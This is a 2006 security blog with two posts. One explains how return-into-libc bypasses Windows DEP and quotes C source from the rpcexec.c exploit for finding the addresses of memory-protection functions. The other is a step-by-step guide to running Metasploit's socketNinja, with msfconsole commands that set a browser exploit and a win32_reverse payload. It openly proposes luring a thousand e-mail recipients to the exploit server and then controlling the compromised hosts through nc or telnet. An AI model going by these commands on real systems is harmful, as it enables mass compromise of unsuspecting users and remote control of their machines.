Thursday, January 05, 2006 

Bypassing Windows DEP

So, we were talking about how the concept of making user data (such as portions of the heap, and the stack) non-executable could stop an attacker from being able to execute their shellcode. The gist of it is that the stack, and also any user data should be in sections of memory that are marked as non-executable. Thus, even if you can do a buffer overflow and get control of the EIP, you (in theory) should not be able to get your shellcode to execute since it is in a page of memory that is marked as non-executable. But, in fact, you often can…

I mentioned that there is a way around this. The technique used is called “return into libc”. It is also sometimes called “arc Injection”. See Also see You put the parameters for a command on the stack, and then you put the address of some function into the EIP, and control jumps into that function and begins executing code. This code is already in some DLL or shared library that is loaded into memory and marked as executable. When the program jumps into that code, it will POP its arguments off the stack and perform that function.

So, what kind of functions would be good to jump into? In UNIX traditionally you want to jump into functions provided by libc, since that should be available on every system. In Linux, a useful command to jmp into is “system” which allows you to execute a command passed as a string.

It looks like this:

int system(const char *cmd);

In Windows, it is a bit more complex, but there are several functions that might be useful.

For example, one technique that was used in the rpcexec.c exploit called functions to allocate memory, copy the shellcode into a new page, and then mark the page as executable.

* addr1=(unsigned long)GetProcAddress(h1,"NtAllocateVirtualMemory");
* addr2=(unsigned long)GetProcAddress(h2,"memcpy");
* addr3=(unsigned long)GetProcAddress(h1,"NtProtectVirtualMemory");

They even provided some C source code to find these addresses:

* to get new offsets use this:
* ------------------------------
* #include <windows.h>
* #include <stdio.h>
* int main()
* {
* HANDLE h1,h2;
* unsigned long addr1,addr2,addr3,addr4;
* h1=LoadLibrary("ntdll.dll");
* h2=LoadLibrary("MSVCRT.dll");
* addr1=(unsigned long)GetProcAddress(h1,"NtAllocateVirtualMemory");
* addr2=(unsigned long)GetProcAddress(h2,"memcpy");
* addr3=(unsigned long)GetProcAddress(h1,"NtProtectVirtualMemory");
* for (addr4=addr1;addr4<addr1+0xffff;addr4++)
* {
* if (!memcmp((void*)addr4,"\xc9\xc3",2)) break;
* }
* printf("0x%x 0x%x 0x%x 0x%x\n",addr1,addr2,addr3,addr4);
* return 0;
* }
* -----------------------------
* to get the last offset use a standard rpc dcom exploit with the last
* \x90\x90 before the shellcode replaced with \xcd\x21. run the exploit
* and read the drwatson logs. substract 0xA5 from the fault address.

Another technique, described in involves turning of DEP for your process by passing control of the code into several carefully chosen places in actual DLLs.

I think what complicates matters for Windows is the fact that most Intel hardware does not have the capability to perform hardware enforced DEP.

Here is a presentation that discusses many of the stack protection schemes out there:

In conclusion, making the stack and portions of the heap non-executable raises the bar for expoits, but does not make them impossible. It is not some kind of magic bullet.


Using with the Metasploit Framework

Using with the Metasplot Framework

Say you want to use an exploit using the Metasploit framework to get a reverse shell, but you don’t want to have the exploit exit when it is done. For example, there are some web browser vulnerabilities. It would be nice to run the exploit (which emulates a web server), send out a URL that contains a link to your (metasploit created) web server, and then send out a thousand e-mails which point people to it. Then, you would want to be able to track the connections that came back and interact with them as needed…

That is the capability that provides.

Basic concepts and terminology:

socketNinja machine: The computer you are running (probably the same machine you are running Metasploit to accomplish exploits, but not necessarily.)

Listener: This is a port on your socketNinja machine that is listening. A regular listener is a port that you will redirect reverse shells to.

Attached Listener: port on your socketNinja machine that you telnet into in order to access the shell on the remote host.

Server: This is the remote host which you have compromised.

Client: This machine is connected up to the remote host by telneting or connecting to the attached listener. This is the machine which you are typing commands on to be executed on the remote machine.

Client->socketNinja machine attached listener <-socketNinja Listener <- server

The following commands are available:

help Shows you all of the commands
help command Shows you help on each command
l Lists your connections
as Adds a server
ar Adds a random attached Listener
li Creates a listener
run Launches a program on an attached Listener
set Sets a config value
sc Prints configuration settings
wc writes the configuration settings to a file
q Quits

1, If you are on Windows, launch the Cygshell command. In Linux just get a shell. Navigate to the Metasploit Framework/home/framework/tools directory.

2. run

perl –d <socketNinja port to listen on>

You can use any port on your machine that is not currently being used.

3, launch msfconsole

4. Set up an exploit to use

use ie_xp_pfv_reverse
set NinjaDontKill 1
set LHOST <ip of the socketNinja machine>
set LPORT <Listener port on the socketNinja machine>

set PAYLOAD win32_reverse
(I left the HTTPPORT at the default of 8080.)

According to the Metasploit User Guide you can also use NinjaHost and NinjaPort to redirect all communications from an exploit to the host running a SocketNinja listener.

5. In the shell you are running look at your connections by typing l.

You will see a listing of all your listeners, and who is connected up to them,

The machines you have exploited are listed under the Server column. The listener you created is in the listener column. Note that each listener has a number. Each server has a number as well. So, the first machine you exploited has a listener # of 0 and a server # of 0. The second machine you exploited has a listener # of 0 and a server # of 1, etc. For now, I am only going to use a single listener with a listener # of 0.

What you need to do is create an Attached Listener to your server. This will be a port on your own machine that if you telnet to it (or use nc or whatever) will give you a shell on your exploited machine. The easiest way to do this is using the ar command which will attach a listener to a random port. The format for the ar command is

ar [listener #] [server #]

ar 0 0

This command will print out the local port that it has attached a listener on. For example it will print out something like:

* new listener (5) bound to 5217

Alternatively, you could create a listener on the port of your choosing by using the ac command. The syntax for this is

ac [listener #] [server #] [ip:]<port>

So, to create an attached listener on port 5217 this would work:

ac 0 0 5217

6. nc or telnet into your Attached listener

telnet 5217
nc –v 5217

So, in the end, we have something that looks like this:

Client->socketNinja machine attached listener (in this case port 5127 on <-socketNinja Listener (in this case 50) <- server (in this case

Final notes:

Apparently, you cannot use with staged payloads. But you can use it with the bind payload or the reverse shell payloads.

You may want to create multiple listeners. For example, you may have one listener to which you send Windows exploits to and a second listener to which you send Linux exploits to. Then you have an easy way to get find all the Windows exploited hosts for example to target with some other stuff.

When you are finally connected up to your server and you have a shell, tying exit will kill the shell on the compromised machine. This is probably not what you want to do. Exit your sessions by hitting control-c in nc or using control-[ and then using the quit command in telnet.

Additional Features I would like to see:

A command that tells you the number of servers for a particular listener.
A command that returns the attached listener ip and port given a listener # and a server #.
A command that enumerates through the servers for a given listener and runs a command (or script of commands) on each one of them either in turn or in parallel.